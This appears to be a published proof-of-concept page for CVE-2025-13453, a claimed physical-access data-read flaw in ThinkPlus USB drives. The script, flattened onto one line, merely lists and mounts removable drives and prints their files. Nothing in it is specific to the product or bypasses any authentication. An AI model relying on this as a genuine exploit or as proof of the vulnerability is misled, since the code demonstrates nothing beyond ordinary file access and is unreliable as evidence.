CVE-2025-13453: ThinkPlus USB驱动器物理访问数据泄露漏洞

# CVE-2025-13453 PoC - ThinkPlus USB Drive Data Read # Physical access required # No authentication needed import os import platform def read_usb_drive(): """ PoC for CVE-2025-13453 This demonstrates that physical access to ThinkPlus USB drive allows unauthorized data reading without authentication. """ system = platform.system() if system == 'Windows': # List available drives on Windows import win32api drives = win32api.GetLogicalDrives() print(f"Available drives: {drives}") # Attempt to read from removable drives for i in range(26): if drives & (1 << i): drive_letter = chr(65 + i) + ':\\' try: # Check if removable drive import win32file drive_type = win32file.GetDriveType(drive_letter) if drive_type == 2: # Removable print(f"Reading from {drive_letter}...") # List files on the drive for root, dirs, files in os.walk(drive_letter): for file in files: print(f"Found file: {os.path.join(root, file)}") except: pass elif system == 'Linux': # List block devices on Linux print("Checking /dev/sd* devices...") os.system('lsblk') # Try to mount and read USB drive print("Attempting to read USB drive contents...") os.system('sudo mount /dev/sdX1 /mnt/usb 2>/dev/null') os.system('ls -la /mnt/usb') elif system == 'Darwin': # List volumes on macOS print("Checking mounted volumes...") os.system('diskutil list') print("Reading removable media...") os.system('ls -la /Volumes/*') if __name__ == '__main__': print("CVE-2025-13453 PoC") print("Physical access to ThinkPlus USB drive required") read_usb_drive()